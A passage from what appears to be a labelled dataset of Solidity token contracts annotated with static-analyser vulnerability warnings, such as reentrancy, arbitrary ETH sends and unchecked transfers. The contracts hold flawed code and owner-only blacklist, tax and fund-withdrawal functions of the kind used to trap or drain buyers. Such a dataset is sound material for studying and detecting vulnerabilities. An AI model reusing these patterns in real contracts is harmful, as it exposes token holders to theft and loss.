from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: ae3e064\n\t\t\t\t// reentrancy-eth | ID: 0973d67\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ae3e064\n\t\t\t\t\t// reentrancy-eth | ID: 0973d67\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 0973d67\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 0973d67\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 0973d67\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: ae3e064\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 0973d67\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 0973d67\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: ae3e064\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: ae3e064\n\t\t// reentrancy-events | ID: 6b4551e\n\t\t// reentrancy-benign | ID: 9977780\n\t\t// reentrancy-eth | ID: 0973d67\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: ae3e064\n\t\t// reentrancy-events | ID: 6b4551e\n\t\t// reentrancy-eth | ID: 0973d67\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e59399d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e59399d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ed1f462): DigitalOwnershipGovernanceExchange.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for ed1f462: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 13dc57a): The return value of an external call is not stored in a local or state variable.\n\t// Recommendation for 13dc57a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 67f187b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 67f187b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: e59399d\n\t\t// reentrancy-eth | ID: 67f187b\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: e59399d\n\t\t// unused-return | ID: 13dc57a\n\t\t// reentrancy-eth | ID: 67f187b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e59399d\n\t\t// unused-return | ID: ed1f462\n\t\t// reentrancy-eth | ID: 67f187b\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: e59399d\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 67f187b\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10651.sol",
"size_bytes": 20167,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Surge is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 749a331): Surge._taxWallet should be immutable \n\t// Recommendation for 749a331: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2329728): Surge._initialBuyTax should be constant \n\t// Recommendation for 2329728: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 01552db): Surge._initialSellTax should be constant \n\t// Recommendation for 01552db: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 43e87f4): Surge._reduceBuyTaxAt should be constant \n\t// Recommendation for 43e87f4: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: e76bb26): Surge._reduceSellTaxAt should be constant \n\t// Recommendation for e76bb26: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 302bc8c): Surge._preventSwapBefore should be constant \n\t// Recommendation for 302bc8c: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"The Surge\";\n\n string private constant _symbol = unicode\"SURGE\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2c9cc62): Surge._taxSwapThreshold should be constant \n\t// Recommendation for 2c9cc62: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ac3665d): Surge._maxTaxSwap should be constant \n\t// Recommendation for ac3665d: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 845f396): Surge.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 845f396: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9a579e7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9a579e7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8eb10c8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8eb10c8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9a579e7\n\t\t// reentrancy-benign | ID: 8eb10c8\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 9a579e7\n\t\t// reentrancy-benign | ID: 8eb10c8\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9641029): Surge._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9641029: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8eb10c8\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9a579e7\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f578dd4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f578dd4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d46ec14): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d46ec14: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: f578dd4\n\t\t\t\t// reentrancy-eth | ID: d46ec14\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: f578dd4\n\t\t\t\t\t// reentrancy-eth | ID: d46ec14\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: d46ec14\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: d46ec14\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: d46ec14\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: f578dd4\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: d46ec14\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: d46ec14\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: f578dd4\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function addBot(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: f578dd4\n\t\t// reentrancy-events | ID: 9a579e7\n\t\t// reentrancy-benign | ID: 8eb10c8\n\t\t// reentrancy-eth | ID: d46ec14\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 137c8dd): Surge.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 137c8dd: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: f578dd4\n\t\t// reentrancy-events | ID: 9a579e7\n\t\t// reentrancy-eth | ID: d46ec14\n\t\t// arbitrary-send-eth | ID: 137c8dd\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 71777c6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 71777c6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2e47899): Surge.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 2e47899: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d951626): Surge.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for d951626: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7e19db9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7e19db9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 71777c6\n\t\t// reentrancy-eth | ID: 7e19db9\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 71777c6\n\t\t// unused-return | ID: d951626\n\t\t// reentrancy-eth | ID: 7e19db9\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 71777c6\n\t\t// unused-return | ID: 2e47899\n\t\t// reentrancy-eth | ID: 7e19db9\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 71777c6\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 7e19db9\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: ed4ea86): Surge.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for ed4ea86: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: ed4ea86\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10652.sol",
"size_bytes": 20188,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface ERC20 {\n function totalSupply() external view returns (uint256);\n\n function decimals() external view returns (uint8);\n\n function symbol() external view returns (string memory);\n\n function name() external view returns (string memory);\n\n function getOwner() external view returns (address);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Ownable {\n address internal owner;\n\n constructor(address _owner) {\n owner = _owner;\n }\n\n modifier onlyOwner() {\n require(isOwner(msg.sender), \"!OWNER\");\n\n _;\n }\n\n function isOwner(address account) public view returns (bool) {\n return account == owner;\n }\n\n function renounceOwnership() public onlyOwner {\n owner = address(0);\n\n emit OwnershipTransferred(address(0));\n }\n\n event OwnershipTransferred(address owner);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountETH);\n\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountETH);\n\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountToken, uint amountETH);\n\n function quote(\n uint amountA,\n uint reserveA,\n uint reserveB\n ) external pure returns (uint amountB);\n\n function getAmountOut(\n uint amountIn,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountOut);\n\n function getAmountIn(\n uint amountOut,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountIn);\n}\n\ncontract WAIBot is ERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 420d3ce): WAIBot.routerAdress should be constant \n\t// Recommendation for 420d3ce: Add the 'constant' attribute to state variables that never change.\n address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n\t// WARNING Optimization Issue (constable-states | ID: cd13290): WAIBot.DEAD should be constant \n\t// Recommendation for cd13290: Add the 'constant' attribute to state variables that never change.\n address DEAD = 0x000000000000000000000000000000000000dEaD;\n\n string private _name;\n\n string private _symbol;\n\n uint8 constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: e1fe826): WAIBot._totalSupply should be constant \n\t// Recommendation for e1fe826: Add the 'constant' attribute to state variables that never change.\n uint256 public _totalSupply = 1_000_000_000 * (10 ** _decimals);\n\n uint256 public _maxWalletAmount = (_totalSupply * 100) / 100;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f678a1b): WAIBot._swapWAIBotThreshHold should be immutable \n\t// Recommendation for f678a1b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _swapWAIBotThreshHold = (_totalSupply * 